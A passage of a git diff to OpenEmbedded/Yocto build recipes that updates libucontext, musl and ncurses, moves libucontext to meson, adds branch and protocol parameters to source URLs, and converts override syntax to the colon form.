+ option('freestanding', type : 'boolean', value : false,
+ description: 'Do not use system headers')
+ option('export_unprefixed', type : 'boolean', value : true,
+- description: 'Export POSIX 2004 ucontext names as alises')
+\ No newline at end of file
++ description: 'Export POSIX 2004 ucontext names as alises')
++option('cpu', type : 'string', value : '',
++ description: 'Target CPU architecture for cross compile')
+--
+2.31.1
+
diff --git a/meta/recipes-core/musl/libucontext_git.bb b/meta/recipes-core/musl/libucontext_git.bb
index 734ad9c953..9061cf0b1b 100644
--- a/meta/recipes-core/musl/libucontext_git.bb
+++ b/meta/recipes-core/musl/libucontext_git.bb
@@ -8,10 +8,11 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=6eed01fa0e673c76f5a5715438f65b1d"
SECTION = "libs"
DEPENDS = ""
-PV = "0.10+${SRCPV}"
-SRCREV = "19fa1bbfc26efb92147b5e85cc0ca02a0e837561"
-SRC_URI = "git://github.com/kaniini/libucontext \
-"
+PV = "1.1+${SRCPV}"
+SRCREV = "335ee864ef6f4a5d4b525453fd9dbfb3507cfecc"
+SRC_URI = "git://github.com/kaniini/libucontext;branch=master;protocol=https \
+ file://0001-meson-Add-option-to-pass-cpu.patch \
+ "
S = "${WORKDIR}/git"
@@ -40,8 +41,8 @@ def map_kernel_arch(a, d):
elif re.match('aarch64_be_ilp32$', a): return 'aarch64'
elif re.match('mips(isa|)(32|)(r6|)(el|)$', a): return 'mips'
elif re.match('mips(isa|)64(r6|)(el|)$', a): return 'mips64'
+ elif re.match('p(pc64|owerpc64)(le)', a): return 'ppc64'
elif re.match('p(pc|owerpc)', a): return 'ppc'
- elif re.match('p(pc64|owerpc64)', a): return 'ppc64'
elif re.match('riscv64$', a): return 'riscv64'
elif re.match('riscv32$', a): return 'riscv32'
else:
@@ -49,16 +50,5 @@ def map_kernel_arch(a, d):
return a
bb.error("cannot map '%s' to a linux kernel architecture" % a)
-export ARCH = "${@map_kernel_arch(d.getVar('TARGET_ARCH'), d)}"
-
-CFLAGS += "-Iarch/${ARCH} -Iarch/common"
-
-EXTRA_OEMAKE = "CFLAGS='${CFLAGS}' LDFLAGS='${LDFLAGS}' LIBDIR='${base_libdir}'"
-
-do_compile() {
- oe_runmake ARCH=${ARCH}
-}
-
-do_install() {
- oe_runmake ARCH="${ARCH}" DESTDIR="${D}" install
-}
+EXTRA_OEMESON = "-Dcpu=${@map_kernel_arch(d.getVar('TARGET_ARCH'), d)}"
+inherit meson
diff --git a/meta/recipes-core/musl/musl-obstack.bb b/meta/recipes-core/musl/musl-obstack.bb
index 3003935fe5..74de48c2cd 100644
--- a/meta/recipes-core/musl/musl-obstack.bb
+++ b/meta/recipes-core/musl/musl-obstack.bb
@@ -10,7 +10,7 @@ SECTION = "libs"
PV = "1.1"
SRCREV = "d2ad66b0df44a4b784956f7f7f2717131ddc05f4"
-SRC_URI = "git://github.com/pullmoll/musl-obstack"
+SRC_URI = "git://github.com/pullmoll/musl-obstack;branch=master;protocol=https"
UPSTREAM_CHECK_COMMITS = "1"
diff --git a/meta/recipes-core/musl/musl-utils.bb b/meta/recipes-core/musl/musl-utils.bb
index dd0ce33061..00d088d089 100644
--- a/meta/recipes-core/musl/musl-utils.bb
+++ b/meta/recipes-core/musl/musl-utils.bb
@@ -11,7 +11,7 @@ SECTION = "utils"
PV = "20170421"
SRCREV = "fb5630138ccabbbc14a19d372096a04e42573c7d"
-SRC_URI = "git://github.com/boltlinux/musl-utils"
+SRC_URI = "git://github.com/boltlinux/musl-utils;branch=master;protocol=https"
UPSTREAM_CHECK_COMMITS = "1"
@@ -21,7 +21,7 @@ S = "${WORKDIR}/git"
PACKAGES =+ "${PN}-iconv"
-FILES_${PN}-iconv = "${bindir}/iconv"
+FILES:${PN}-iconv = "${bindir}/iconv"
COMPATIBLE_HOST = ".*-musl.*"
diff --git a/meta/recipes-core/musl/musl.inc b/meta/recipes-core/musl/musl.inc
index 54edfc88e5..66468e92ff 100644
--- a/meta/recipes-core/musl/musl.inc
+++ b/meta/recipes-core/musl/musl.inc
@@ -14,16 +14,16 @@ LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=b03f1cc25363d094011f8f4fd8bcfb68"
INHIBIT_DEFAULT_DEPS = "1"
FILES_SOLIBSDEV = ""
-FILES_${PN} += "${libdir}/lib*${SOLIBSDEV}"
-INSANE_SKIP_${PN} = "dev-so"
+FILES:${PN} += "${libdir}/lib*${SOLIBSDEV}"
+INSANE_SKIP:${PN} = "dev-so"
# Doesn't compile in MIPS16e mode due to use of hand-written
# assembly
MIPS_INSTRUCTION_SET = "mips"
# thumb1 is unsupported
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
# Enable out of tree build
B = "${WORKDIR}/build"
diff --git a/meta/recipes-core/musl/musl/0001-crt-Add-.file-directive.patch b/meta/recipes-core/musl/musl/0001-crt-Add-.file-directive.patch
deleted file mode 100644
index d2bd587e39..0000000000
--- a/meta/recipes-core/musl/musl/0001-crt-Add-.file-directive.patch
+++ /dev/null
@@ -1,300 +0,0 @@
-From b0124f3c4f2a353506621d387135ebea6b8c6609 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 29 Oct 2020 22:40:53 -0700
-Subject: [PATCH] crt: Add .file directive
-
-Musl linked binaries come out to be not reproducible because
-absolute build path is seen in debug info of crti.o and crtn.o
-This is due to the fact that these objects are built from assembly
-source files and they are missing .file directive
-if we add .file <filename>.s in them then debug info encodes this
-value instead of absolute path in debug_line section
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- crt/aarch64/crti.s | 1 +
- crt/aarch64/crtn.s | 1 +
- crt/arm/crti.s | 1 +
- crt/arm/crtn.s | 1 +
- crt/i386/crti.s | 1 +
- crt/i386/crtn.s | 1 +
- crt/microblaze/crti.s | 1 +
- crt/microblaze/crtn.s | 1 +
- crt/mips/crti.s | 1 +
- crt/mips/crtn.s | 1 +
- crt/mips64/crti.s | 1 +
- crt/mips64/crtn.s | 1 +
- crt/mipsn32/crti.s | 1 +
- crt/mipsn32/crtn.s | 1 +
- crt/or1k/crti.s | 1 +
- crt/or1k/crtn.s | 1 +
- crt/powerpc/crti.s | 1 +
- crt/powerpc/crtn.s | 1 +
- crt/powerpc64/crti.s | 1 +
- crt/powerpc64/crtn.s | 1 +
- crt/s390x/crti.s | 1 +
- crt/s390x/crtn.s | 1 +
- crt/sh/crti.s | 1 +
- crt/sh/crtn.s | 1 +
- crt/x32/crti.s | 1 +
- crt/x32/crtn.s | 1 +
- crt/x86_64/crti.s | 1 +
- crt/x86_64/crtn.s | 1 +
- 28 files changed, 28 insertions(+)
-
-diff --git a/crt/aarch64/crti.s b/crt/aarch64/crti.s
-index 775df0ac..0f7c23a9 100644
---- a/crt/aarch64/crti.s
-+++ b/crt/aarch64/crti.s
-@@ -1,3 +1,4 @@
-+.file "crti.s"
- .section .init
- .global _init
- .type _init,%function
-diff --git a/crt/aarch64/crtn.s b/crt/aarch64/crtn.s
-index 73cab692..d62fc129 100644
---- a/crt/aarch64/crtn.s
-+++ b/crt/aarch64/crtn.s
-@@ -1,3 +1,4 @@
-+.file "crtn.s"
- .section .init
- ldp x29,x30,[sp],#16
- ret
-diff --git a/crt/arm/crti.s b/crt/arm/crti.s
-index 18dc1e41..8df72979 100644
---- a/crt/arm/crti.s
-+++ b/crt/arm/crti.s
-@@ -1,3 +1,4 @@
-+.file "crti.s"
- .syntax unified
-
- .section .init
-diff --git a/crt/arm/crtn.s b/crt/arm/crtn.s
-index dc020f92..7451355b 100644
---- a/crt/arm/crtn.s
-+++ b/crt/arm/crtn.s
-@@ -1,3 +1,4 @@
-+.file "crtn.s"
- .syntax unified
-
- .section .init
-diff --git a/crt/i386/crti.s b/crt/i386/crti.s
-index d2682a20..2823fc3b 100644
---- a/crt/i386/crti.s
-+++ b/crt/i386/crti.s
-@@ -1,3 +1,4 @@
-+.file "crti.s"
- .section .init
- .global _init
- _init:
-diff --git a/crt/i386/crtn.s b/crt/i386/crtn.s
-index f3b61e01..04fb1646 100644
---- a/crt/i386/crtn.s
-+++ b/crt/i386/crtn.s
-@@ -1,3 +1,4 @@
-+.file "crtn.s"
- .section .init
- add $12,%esp
- ret
-diff --git a/crt/microblaze/crti.s b/crt/microblaze/crti.s
-index ed1c2fa4..29ee4733 100644
---- a/crt/microblaze/crti.s
-+++ b/crt/microblaze/crti.s
-@@ -1,3 +1,4 @@
-+.file "crti.s"
- .section .init
- .global _init
- .align 2
-diff --git a/crt/microblaze/crtn.s b/crt/microblaze/crtn.s
-index 1e02c984..c2083749 100644
---- a/crt/microblaze/crtn.s
-+++ b/crt/microblaze/crtn.s
-@@ -1,3 +1,4 @@
-+.file "crtn.s"
- .section .init
- lwi r15, r1, 0
- rtsd r15, 8
-diff --git a/crt/mips/crti.s b/crt/mips/crti.s
-index 39dee380..0211764e 100644
---- a/crt/mips/crti.s
-+++ b/crt/mips/crti.s
-@@ -1,3 +1,4 @@
-+.file "crti.s"
- .set noreorder
-
- .section .init
-diff --git a/crt/mips/crtn.s b/crt/mips/crtn.s
-index 506a04b7..606490cf 100644
---- a/crt/mips/crtn.s
-+++ b/crt/mips/crtn.s
-@@ -1,3 +1,4 @@
-+.file "crtn.s"
- .set noreorder
-
- .section .init
-diff --git a/crt/mips64/crti.s b/crt/mips64/crti.s
-index c962dd09..f2c19cdd 100644
---- a/crt/mips64/crti.s
-+++ b/crt/mips64/crti.s
-@@ -1,3 +1,4 @@
-+.file "crti.s"
- .set noreorder
-
- .section .init
-diff --git a/crt/mips64/crtn.s b/crt/mips64/crtn.s
-index f3930b24..68903ffa 100644
---- a/crt/mips64/crtn.s
-+++ b/crt/mips64/crtn.s
-@@ -1,3 +1,4 @@
-+.file "crtn.s"
- .set noreorder
-
- .section .init
-diff --git a/crt/mipsn32/crti.s b/crt/mipsn32/crti.s
-index 14fa28d9..a35387d3 100644
---- a/crt/mipsn32/crti.s
-+++ b/crt/mipsn32/crti.s
-@@ -1,3 +1,4 @@
-+.file "crti.s"
- .set noreorder
- .section .init
- .global _init
-diff --git a/crt/mipsn32/crtn.s b/crt/mipsn32/crtn.s
-index dccd7e89..bdb6e561 100644
---- a/crt/mipsn32/crtn.s
-+++ b/crt/mipsn32/crtn.s
-@@ -1,3 +1,4 @@
-+.file "crtn.s"
- .set noreorder
- .section .init
- ld $gp, 16($sp)
-diff --git a/crt/or1k/crti.s b/crt/or1k/crti.s
-index 7e741459..919369ca 100644
---- a/crt/or1k/crti.s
-+++ b/crt/or1k/crti.s
-@@ -1,3 +1,4 @@
-+.file "crti.s"
- .section .init
- .global _init
- _init:
-diff --git a/crt/or1k/crtn.s b/crt/or1k/crtn.s
-index 4185a027..d670b327 100644
---- a/crt/or1k/crtn.s
-+++ b/crt/or1k/crtn.s
-@@ -1,3 +1,4 @@
-+.file "crtn.s"
- .section .init
- l.lwz r9,0(r1)
- l.jr r9
-diff --git a/crt/powerpc/crti.s b/crt/powerpc/crti.s
-index 60461ca4..b748ca48 100644
---- a/crt/powerpc/crti.s
-+++ b/crt/powerpc/crti.s
-@@ -1,3 +1,4 @@
-+.file "crti.s"
- .section .init
- .align 2
- .global _init
-diff --git a/crt/powerpc/crtn.s b/crt/powerpc/crtn.s
-index 2d14a6f0..d989e36f 100644
---- a/crt/powerpc/crtn.s
-+++ b/crt/powerpc/crtn.s
-@@ -1,3 +1,4 @@
-+.file "crtn.s"
- .section .init
- .align 2
- lwz 0,36(1)
-diff --git a/crt/powerpc64/crti.s b/crt/powerpc64/crti.s
-index 9f712f0e..d3323a67 100644
---- a/crt/powerpc64/crti.s
-+++ b/crt/powerpc64/crti.s
-@@ -1,3 +1,4 @@
-+.file "crti.s"
- .section .init
- .align 2
- .global _init
-diff --git a/crt/powerpc64/crtn.s b/crt/powerpc64/crtn.s
-index a7a9f4a0..5e71ae66 100644
---- a/crt/powerpc64/crtn.s
-+++ b/crt/powerpc64/crtn.s
-@@ -1,3 +1,4 @@
-+.file "crtn.s"
- .section .init
- .align 2
- addi 1, 1, 32
-diff --git a/crt/s390x/crti.s b/crt/s390x/crti.s
-index f453205b..3da3c5e1 100644
---- a/crt/s390x/crti.s
-+++ b/crt/s390x/crti.s
-@@ -1,3 +1,4 @@
-+.file "crti.s"
- .section .init
- .align 2
- .global _init
-diff --git a/crt/s390x/crtn.s b/crt/s390x/crtn.s
-index 06066dc9..bfd55caf 100644
---- a/crt/s390x/crtn.s
-+++ b/crt/s390x/crtn.s
-@@ -1,3 +1,4 @@
-+.file "crtn.s"
- .section .init
- .align 2
- lmg %r14, %r15, 272(%r15)
-diff --git a/crt/sh/crti.s b/crt/sh/crti.s
-index d99bfd5c..77d61c51 100644
---- a/crt/sh/crti.s
-+++ b/crt/sh/crti.s
-@@ -1,3 +1,4 @@
-+.file "crti.s"
- .section .init
- .global _init
- .type _init, @function
-diff --git a/crt/sh/crtn.s b/crt/sh/crtn.s
-index 958ce951..29deb5be 100644
---- a/crt/sh/crtn.s
-+++ b/crt/sh/crtn.s
-@@ -1,3 +1,4 @@
-+.file "crtn.s"
- .section .init
- lds.l @r15+, pr
- mov.l @r15+, r14
-diff --git a/crt/x32/crti.s b/crt/x32/crti.s
-index 4788968b..8668b7c7 100644
---- a/crt/x32/crti.s
-+++ b/crt/x32/crti.s
-@@ -1,3 +1,4 @@
-+.file "crti.s"
- .section .init
- .global _init
- _init:
-diff --git a/crt/x32/crtn.s b/crt/x32/crtn.s
-index 29198b77..ef73d295 100644
---- a/crt/x32/crtn.s
-+++ b/crt/x32/crtn.s
-@@ -1,3 +1,4 @@
-+.file "crtn.s"
- .section .init
- pop %rax
- ret
-diff --git a/crt/x86_64/crti.s b/crt/x86_64/crti.s
-index 4788968b..8668b7c7 100644
---- a/crt/x86_64/crti.s
-+++ b/crt/x86_64/crti.s
-@@ -1,3 +1,4 @@
-+.file "crti.s"
- .section .init
- .global _init
- _init:
-diff --git a/crt/x86_64/crtn.s b/crt/x86_64/crtn.s
-index 29198b77..ef73d295 100644
---- a/crt/x86_64/crtn.s
-+++ b/crt/x86_64/crtn.s
-@@ -1,3 +1,4 @@
-+.file "crtn.s"
- .section .init
- pop %rax
- ret
---
-2.29.1
-
diff --git a/meta/recipes-core/musl/musl/0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch b/meta/recipes-core/musl/musl/0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch
index f57aae5f3c..0aeb5eb5c2 100644
--- a/meta/recipes-core/musl/musl/0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch
+++ b/meta/recipes-core/musl/musl/0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch
@@ -34,16 +34,16 @@ Signed-off-by: Serhey Popovych <serhe.popovych@gmail.com>
LDFLAGS_ALL = $(LDFLAGS_AUTO) $(LDFLAGS)
--- a/ldso/dynlink.c
+++ b/ldso/dynlink.c
-@@ -24,6 +24,8 @@
- #include "libc.h"
- #include "dynlink.h"
+@@ -29,6 +29,8 @@
+ #define realloc __libc_realloc
+ #define free __libc_free
+#define SYS_PATH_DFLT SYSLIBDIR ":" LIBDIR
+
static void error(const char *, ...);
#define MAXP2(a,b) (-(-(a)&-(b)))
-@@ -1071,7 +1073,7 @@ static struct dso *load_library(const ch
+@@ -1094,7 +1096,7 @@ static struct dso *load_library(const ch
sys_path = "";
}
}
diff --git a/meta/recipes-core/musl/musl_git.bb b/meta/recipes-core/musl/musl_git.bb
index 23c2072ea3..50daca1eff 100644
--- a/meta/recipes-core/musl/musl_git.bb
+++ b/meta/recipes-core/musl/musl_git.bb
@@ -4,18 +4,17 @@
require musl.inc
inherit linuxloader
-SRCREV = "d91a6cf6e369a79587c5665fce9635e5634ca201"
+SRCREV = "b76f37fd5625d038141b52184956fb4b7838e9a5"
-BASEVER = "1.2.1"
+BASEVER = "1.2.2"
PV = "${BASEVER}+git${SRCPV}"
# mirror is at git://github.com/kraj/musl.git
-SRC_URI = "git://git.musl-libc.org/musl \
+SRC_URI = "git://git.musl-libc.org/musl;branch=master \
file://0001-Make-dynamic-linker-a-relative-symlink-to-libc.patch \
file://0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch \
- file://0001-crt-Add-.file-directive.patch \
"
S = "${WORKDIR}/git"
@@ -42,7 +41,7 @@ LDFLAGS += "-Wl,-soname,libc.so"
# disabled automatically due to the optimisation level, but append an explicit
# -fomit-frame-pointer to handle cases where optimisation is set to -O0 or frame
# pointers have been enabled by -fno-omit-frame-pointer earlier in CFLAGS, etc.
-CFLAGS_append_arm = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+CFLAGS:append:arm = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
CONFIGUREOPTS = " \
--prefix=${prefix} \
@@ -63,28 +62,26 @@ do_compile() {
do_install() {
oe_runmake install DESTDIR='${D}'
- install -d ${D}${bindir} ${D}${base_libdir} ${D}${sysconfdir}
+ install -d ${D}${bindir} ${D}/lib ${D}${sysconfdir}
echo "${base_libdir}" > ${D}${sysconfdir}/ld-musl-${MUSL_LDSO_ARCH}.path
echo "${libdir}" >> ${D}${sysconfdir}/ld-musl-${MUSL_LDSO_ARCH}.path
rm -f ${D}${bindir}/ldd ${D}${GLIBC_LDSO}
- lnr ${D}${libdir}/libc.so ${D}${bindir}/ldd
- lnr ${D}${libdir}/libc.so ${D}${GLIBC_LDSO}
+ ln -rs ${D}${libdir}/libc.so ${D}${bindir}/ldd
}
-PACKAGES =+ "${PN}-glibc-compat"
-
-FILES_${PN} += "/lib/ld-musl-${MUSL_LDSO_ARCH}.so.1 ${sysconfdir}/ld-musl-${MUSL_LDSO_ARCH}.path"
-FILES_${PN}-glibc-compat += "${GLIBC_LDSO}"
-FILES_${PN}-staticdev = "${libdir}/libc.a"
-FILES_${PN}-dev =+ "${libdir}/libcrypt.a ${libdir}/libdl.a ${libdir}/libm.a \
+FILES:${PN} += "/lib/ld-musl-${MUSL_LDSO_ARCH}.so.1 ${sysconfdir}/ld-musl-${MUSL_LDSO_ARCH}.path"
+FILES:${PN}-staticdev = "${libdir}/libc.a"
+FILES:${PN}-dev =+ "${libdir}/libcrypt.a ${libdir}/libdl.a ${libdir}/libm.a \
${libdir}/libpthread.a ${libdir}/libresolv.a \
${libdir}/librt.a ${libdir}/libutil.a ${libdir}/libxnet.a \
"
-RDEPENDS_${PN}-dev += "linux-libc-headers-dev bsd-headers-dev libssp-nonshared-staticdev"
-RPROVIDES_${PN}-dev += "libc-dev virtual-libc-dev"
-RPROVIDES_${PN} += "ldd libsegfault rtld(GNU_HASH)"
+RDEPENDS:${PN}-dev += "linux-libc-headers-dev bsd-headers-dev libssp-nonshared-staticdev"
+RPROVIDES:${PN}-dev += "libc-dev virtual-libc-dev"
+RPROVIDES:${PN} += "ldd libsegfault rtld(GNU_HASH)"
LEAD_SONAME = "libc.so"
-INSANE_SKIP_${PN}-dev = "staticdev"
-INSANE_SKIP_${PN} = "libdir"
+INSANE_SKIP:${PN}-dev = "staticdev"
+INSANE_SKIP:${PN} = "libdir"
+
+UPSTREAM_CHECK_COMMITS = "1"
diff --git a/meta/recipes-core/ncurses/files/0002-configure-reproducible.patch b/meta/recipes-core/ncurses/files/0002-configure-reproducible.patch
index 572195611e..66f26c06ab 100644
--- a/meta/recipes-core/ncurses/files/0002-configure-reproducible.patch
+++ b/meta/recipes-core/ncurses/files/0002-configure-reproducible.patch
@@ -1,7 +1,7 @@
-From 2a53c03ffa90f0050a949fc5920f0df3e668ff42 Mon Sep 17 00:00:00 2001
+From ec87e53066a9942e9aaba817d71268342f5e83b9 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Wed, 16 Aug 2017 14:45:27 +0800
-Subject: [PATCH 2/2] configure: reproducible
+Subject: [PATCH] configure: reproducible
"configure" enforces -U for ar flags, breaking deterministic builds.
The flag was added to fix some vaguely specified "recent POSIX binutil
@@ -13,23 +13,21 @@ Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
Rebase to 6.1
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
configure | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure b/configure
-index adead92..fa4fdb7 100755
+index 421cf859..a1b7840d 100755
--- a/configure
+++ b/configure
-@@ -4503,7 +4503,7 @@ if test "${cf_cv_ar_flags+set}" = set; then
- else
-
- cf_cv_ar_flags=unknown
-- for cf_ar_flags in -curvU -curv curv -crv crv -cqv cqv -rv rv
-+ for cf_ar_flags in -curv curv -crv crv -cqv cqv -rv rv
- do
+@@ -5072,7 +5072,7 @@ else
+ ;;
+ (*)
+ cf_cv_ar_flags=unknown
+- for cf_ar_flags in -curvU -curv curv -crv crv -cqv cqv -rv rv
++ for cf_ar_flags in -curv curv -crv crv -cqv cqv -rv rv
+ do
- # check if $ARFLAGS already contains this choice
---
-1.8.3.1
-
+ # check if $ARFLAGS already contains this choice
diff --git a/meta/recipes-core/ncurses/files/0003-gen-pkgconfig.in-Do-not-include-LDFLAGS-in-generated.patch b/meta/recipes-core/ncurses/files/0003-gen-pkgconfig.in-Do-not-include-LDFLAGS-in-generated.patch
new file mode 100644
index 0000000000..a15694d4d4
--- /dev/null
+++ b/meta/recipes-core/ncurses/files/0003-gen-pkgconfig.in-Do-not-include-LDFLAGS-in-generated.patch
@@ -0,0 +1,30 @@
+From 10cd0c12a6e14fb4f0498c299c1dd32720b710da Mon Sep 17 00:00:00 2001
+From: Nathan Rossi <nathan@nathanrossi.com>
+Date: Mon, 14 Dec 2020 13:39:02 +1000
+Subject: [PATCH] gen-pkgconfig.in: Do not include LDFLAGS in generated pc
+ files
+
+Including the LDFLAGS in the pkgconfig output is problematic as OE
+includes build host specific paths and options (e.g. uninative and
+'-Wl,--dynamic-linker=').
+
+Upstream-Status: Inappropriate [OE Specific]
+Signed-off-by: Nathan Rossi <nathan@nathanrossi.com>
+
+---
+ misc/gen-pkgconfig.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/misc/gen-pkgconfig.in b/misc/gen-pkgconfig.in
+index a45dd54f..85273054 100644
+--- a/misc/gen-pkgconfig.in
++++ b/misc/gen-pkgconfig.in
+@@ -83,7 +83,7 @@ if [ "$includedir" != "/usr/include" ]; then
+ fi
+
+ lib_flags=
+-for opt in -L$libdir @EXTRA_PKG_LDFLAGS@ @LIBS@
++for opt in -L$libdir @LIBS@
+ do
+ case $opt in
+ -l*) # LIBS is handled specially below
diff --git a/meta/recipes-core/ncurses/ncurses.inc b/meta/recipes-core/ncurses/ncurses.inc
index 4b61889668..a0ecd8a80b 100644
--- a/meta/recipes-core/ncurses/ncurses.inc
+++ b/meta/recipes-core/ncurses/ncurses.inc
@@ -5,7 +5,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://ncurses/base/version.c;beginline=1;endline=27;md5=5526f2f3a29edc95538b368a4771edda"
SECTION = "libs"
DEPENDS = "ncurses-native"
-DEPENDS_class-native = ""
+DEPENDS:class-native = ""
BINCONFIG = "${bindir}/ncurses5-config ${bindir}/ncursesw5-config \
${bindir}/ncurses6-config ${bindir}/ncursesw6-config"
@@ -13,11 +13,12 @@ BINCONFIG = "${bindir}/ncurses5-config ${bindir}/ncursesw5-config \
inherit autotools binconfig-disabled multilib_header pkgconfig
# Upstream has useful patches at times at ftp://invisible-island.net/ncurses/
-SRC_URI = "git://salsa.debian.org/debian/ncurses.git;protocol=https"
+SRC_URI = "git://salsa.debian.org/debian/ncurses.git;protocol=https;branch=master"
EXTRA_AUTORECONF = "-I m4"
CACHED_CONFIGUREVARS = "cf_cv_func_nanosleep=yes"
+CACHED_CONFIGUREVARS:append:linux = " cf_cv_working_poll=yes"
EXTRASITECONFIG = "CFLAGS='${CFLAGS} -I${SYSROOT_DESTDIR}${includedir}'"
@@ -32,17 +33,17 @@ ENABLE_WIDEC ?= "true"
BUILD_CPPFLAGS += "-D_GNU_SOURCE"
# natives don't generally look in base_libdir
-base_libdir_class-native = "${libdir}"
+base_libdir:class-native = "${libdir}"
# Display corruption occurs on 64 bit hosts without these settings
# This was derrived from the upstream debian ncurses which uses
# these settings for 32 and 64 bit hosts.
EXCONFIG_ARGS = ""
-EXCONFIG_ARGS_class-native = " \
+EXCONFIG_ARGS:class-native = " \
--disable-lp64 \
--with-chtype='long' \
--with-mmask-t='long'"
-EXCONFIG_ARGS_class-nativesdk = " \
+EXCONFIG_ARGS:class-nativesdk = " \
--disable-lp64 \
--with-chtype='long' \
--with-mmask-t='long'"
@@ -55,11 +56,11 @@ PACKAGES_DYNAMIC = "^${PN}-lib.*"
# because the sstate had a hard coded search path. Until this is fixed
# another way this is deemed good enough.
EX_TERMCAP = ""
-EX_TERMCAP_class-native = ":/etc/termcap:/usr/share/misc/termcap"
-EX_TERMCAP_class-nativesdk = ":/etc/termcap:/usr/share/misc/termcap"
+EX_TERMCAP:class-native = ":/etc/termcap:/usr/share/misc/termcap"
+EX_TERMCAP:class-nativesdk = ":/etc/termcap:/usr/share/misc/termcap"
EX_TERMINFO = ""
-EX_TERMINFO_class-native = ":/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo"
-EX_TERMINFO_class-nativesdk = ":/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo"
+EX_TERMINFO:class-native = ":/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo"
+EX_TERMINFO:class-nativesdk = ":/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo"
EX_TERMLIB ?= "tinfo"
# Helper function for do_configure to allow multiple configurations
@@ -98,10 +99,6 @@ ncurses_configure() {
# patched autoconf213 to generate the configure script. This autoconf
# is not available so that the shipped script will be used.
do_configure() {
- # check does not work with cross-compiling and is generally
- # broken because it requires stdin to be pollable (which is
- # not the case for /dev/null redirections)
- export cf_cv_working_poll=yes
#Remove ${includedir} from CPPFLAGS, need for cross compile
sed -i 's#-I${cf_includedir}##g' ${S}/configure || die "sed CPPFLAGS"
@@ -242,10 +239,9 @@ do_install() {
mv ${D}${libdir}/libtinfo.so.* ${D}${base_libdir}
rm ${D}${libdir}/libtinfo.so
- # Use lnr to ensure this is a relative link despite absolute paths
+ # Use ln -rs to ensure this is a relative link despite absolute paths
# (as we can't know the relationship between base_libdir and libdir).
- # At some point we can rely on coreutils 8.16 which has ln -r.
- lnr ${D}${base_libdir}/libtinfo.so.5 ${D}${libdir}/libtinfo.so
+ ln -rs ${D}${base_libdir}/libtinfo.so.5 ${D}${libdir}/libtinfo.so
fi
if [ -d "${D}${includedir}/ncurses" ]; then
for f in `find ${D}${includedir}/ncurses -name "*.h"`
@@ -258,7 +254,7 @@ do_install() {
oe_multilib_header curses.h
}
-python populate_packages_prepend () {
+python populate_packages:prepend () {
libdir = d.expand("${libdir}")
base_libdir = d.expand("${base_libdir}")
pnbase = d.expand("${PN}-lib%s")
@@ -272,8 +268,8 @@ inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_ncurses-tools_class-target = "clear reset"
-ALTERNATIVE_ncurses-terminfo_class-target = "st st-256color"
+ALTERNATIVE:ncurses-tools:class-target = "clear reset"
+ALTERNATIVE:ncurses-terminfo:class-target = "st st-256color"
ALTERNATIVE_LINK_NAME[st] = "${datadir}/terminfo/s/st"
@@ -287,7 +283,7 @@ PACKAGES += " \
${PN}-terminfo \
"
-FILES_${PN} = "\
+FILES:${PN} = "\
${bindir}/tput \
${bindir}/tset \
${bindir}/ncurses5-config \
@@ -299,7 +295,7 @@ FILES_${PN} = "\
# This keeps only tput/tset in ncurses
# clear/reset are in already busybox
-FILES_${PN}-tools = "\
+FILES:${PN}-tools = "\
${bindir}/tic \
${bindir}/toe \
${bindir}/infotocap \
@@ -312,15 +308,20 @@ FILES_${PN}-tools = "\
"
# 'reset' is a symlink to 'tset' which is in the 'ncurses' package
-RDEPENDS_${PN}-tools = "${PN}"
+RDEPENDS:${PN}-tools = "${PN} ${PN}-terminfo-base"
-FILES_${PN}-terminfo = "\
+FILES:${PN}-terminfo = "\
${datadir}/terminfo \
"
-FILES_${PN}-terminfo-base = "\
+FILES:${PN}-terminfo-base = "\
${sysconfdir}/terminfo \
"
-RSUGGESTS_${PN}-libtinfo = "${PN}-terminfo"
-RRECOMMENDS_${PN}-libtinfo = "${PN}-terminfo-base"
+RSUGGESTS:${PN}-libtinfo = "${PN}-terminfo"
+RRECOMMENDS:${PN}-libtinfo = "${PN}-terminfo-base"
+
+# Putting terminfo into the sysroot adds around 2800 files to
+# each recipe specific sysroot. We can live without this, particularly
+# as many recipes may have native and target copies.
+SYSROOT_DIRS:remove = "${datadir}"
diff --git a/meta/recipes-core/ncurses/ncurses_6.2.bb b/meta/recipes-core/ncurses/ncurses_6.2.bb
deleted file mode 100644
index f3c84c2877..0000000000
--- a/meta/recipes-core/ncurses/ncurses_6.2.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-require ncurses.inc
-
-SRC_URI += "file://0001-tic-hang.patch \
- file://0002-configure-reproducible.patch \
- "
-# commit id corresponds to the revision in package version
-SRCREV = "a669013cd5e9d6434e5301348ea51baf306c93c4"
-S = "${WORKDIR}/git"
-EXTRA_OECONF += "--with-abi-version=5"
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)$"
-
